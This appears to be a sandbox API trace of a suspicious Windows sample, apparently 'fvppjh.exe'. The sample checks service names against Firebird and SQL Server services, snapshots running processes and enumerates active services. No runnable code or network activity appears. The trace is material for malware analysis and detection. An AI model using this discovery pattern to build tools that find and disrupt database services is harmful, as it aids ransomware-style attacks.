	[0156.882] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0156.882] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0156.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0156.882] lstrlenW (lpString="PcaSvc") returned 6
	[0156.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0156.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0156.882] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0156.882] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0156.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0156.883] lstrlenW (lpString="PlugPlay") returned 8
	[0156.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0156.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0156.883] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0156.883] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0156.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0156.883] lstrlenW (lpString="Power") returned 5
	[0156.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0156.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0156.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0156.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0156.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0156.883] lstrlenW (lpString="ProfSvc") returned 7
	[0156.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0156.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0156.883] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0156.883] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0156.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0156.883] lstrlenW (lpString="RpcEptMapper") returned 12
	[0156.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0156.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0156.883] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0156.883] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0156.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0156.883] lstrlenW (lpString="RpcSs") returned 5
	[0156.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0156.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0156.883] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0156.883] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0156.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0156.883] lstrlenW (lpString="SamSs") returned 5
	[0156.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0156.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0156.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0156.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0156.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0156.883] lstrlenW (lpString="Schedule") returned 8
	[0156.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0156.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0156.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0156.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0156.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0156.884] lstrlenW (lpString="SecurityHealthService") returned 21
	[0156.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0156.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0156.884] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0156.884] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0156.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0156.884] lstrlenW (lpString="SENS") returned 4
	[0156.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0156.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0156.884] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0156.884] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0156.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0156.884] lstrlenW (lpString="ShellHWDetection") returned 16
	[0156.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0156.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0156.884] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0156.884] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0156.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0156.884] lstrlenW (lpString="Spooler") returned 7
	[0156.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0156.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0156.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0156.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0156.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0156.884] lstrlenW (lpString="StateRepository") returned 15
	[0156.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0156.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0156.884] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0156.884] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0156.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0156.884] lstrlenW (lpString="SysMain") returned 7
	[0156.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0156.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0156.885] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0156.885] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0156.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0156.885] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0156.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0156.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0156.885] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0156.885] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0156.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0156.885] lstrlenW (lpString="Themes") returned 6
	[0156.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0156.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0156.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0156.885] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0156.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0156.885] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0156.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0156.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0156.885] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0156.885] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0156.885] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b06d8 | out: hHeap=0x5a0000) returned 1
	[0156.885] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x488
	[0156.891] Process32FirstW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0156.891] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0156.892] lstrlenW (lpString="System") returned 6
	[0156.892] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0156.892] lstrlenW (lpString="smss.exe") returned 8
	[0156.892] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0156.893] lstrlenW (lpString="csrss.exe") returned 9
	[0156.893] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0156.893] lstrlenW (lpString="wininit.exe") returned 11
	[0156.893] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0156.893] lstrlenW (lpString="csrss.exe") returned 9
	[0156.893] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0156.894] lstrlenW (lpString="winlogon.exe") returned 12
	[0156.894] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0156.894] lstrlenW (lpString="services.exe") returned 12
	[0156.894] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0156.895] lstrlenW (lpString="lsass.exe") returned 9
	[0156.895] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0156.895] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0156.895] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0157.135] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0157.135] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.179] lstrlenW (lpString="svchost.exe") returned 11
	[0157.179] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.191] lstrlenW (lpString="svchost.exe") returned 11
	[0157.191] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0157.191] lstrlenW (lpString="dwm.exe") returned 7
	[0157.191] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.192] lstrlenW (lpString="svchost.exe") returned 11
	[0157.192] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.193] lstrlenW (lpString="svchost.exe") returned 11
	[0157.193] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.193] lstrlenW (lpString="svchost.exe") returned 11
	[0157.193] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.193] lstrlenW (lpString="svchost.exe") returned 11
	[0157.193] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.194] lstrlenW (lpString="svchost.exe") returned 11
	[0157.194] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.194] lstrlenW (lpString="svchost.exe") returned 11
	[0157.194] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.195] lstrlenW (lpString="svchost.exe") returned 11
	[0157.195] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.195] lstrlenW (lpString="svchost.exe") returned 11
	[0157.195] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.195] lstrlenW (lpString="svchost.exe") returned 11
	[0157.195] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.196] lstrlenW (lpString="svchost.exe") returned 11
	[0157.196] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0157.196] lstrlenW (lpString="spoolsv.exe") returned 11
	[0157.196] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.197] lstrlenW (lpString="svchost.exe") returned 11
	[0157.197] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0157.197] lstrlenW (lpString="audiodg.exe") returned 11
	[0157.197] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0157.198] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0157.198] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0157.198] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0157.198] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0157.198] lstrlenW (lpString="Memory Compression") returned 18
	[0157.198] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0157.199] lstrlenW (lpString="sihost.exe") returned 10
	[0157.199] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.199] lstrlenW (lpString="svchost.exe") returned 11
	[0157.199] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0157.200] lstrlenW (lpString="taskhostw.exe") returned 13
	[0157.200] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0157.200] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0157.200] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0157.200] lstrlenW (lpString="taskhostw.exe") returned 13
	[0157.200] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0157.201] lstrlenW (lpString="explorer.exe") returned 12
	[0157.201] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0157.201] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0157.201] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0157.202] lstrlenW (lpString="SearchUI.exe") returned 12
	[0157.202] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0157.202] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0157.202] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0157.203] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0157.203] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0157.203] lstrlenW (lpString="svchost.exe") returned 11
	[0157.203] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0157.204] lstrlenW (lpString="fvppjh.exe") returned 10
	[0157.204] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0157.204] lstrlenW (lpString="cmd.exe") returned 7
	[0157.204] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0157.204] lstrlenW (lpString="conhost.exe") returned 11
	[0157.204] Process32NextW (in: hSnapshot=0x488, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0157.205] CloseHandle (hObject=0x488) returned 1
	[0157.205] Sleep (dwMilliseconds=0x1f4) 
	[0157.873] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0818
	[0157.874] EnumServicesStatusExW (in: hSCManager=0x41c0818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0157.874] GetLastError () returned 0xea
	[0157.874] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bee) returned 0x41ba4e0
	[0157.874] EnumServicesStatusExW (in: hSCManager=0x41c0818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41ba4e0, cbBufSize=0x1bee, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41ba4e0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0157.875] CloseServiceHandle (hSCObject=0x41c0818) returned 1
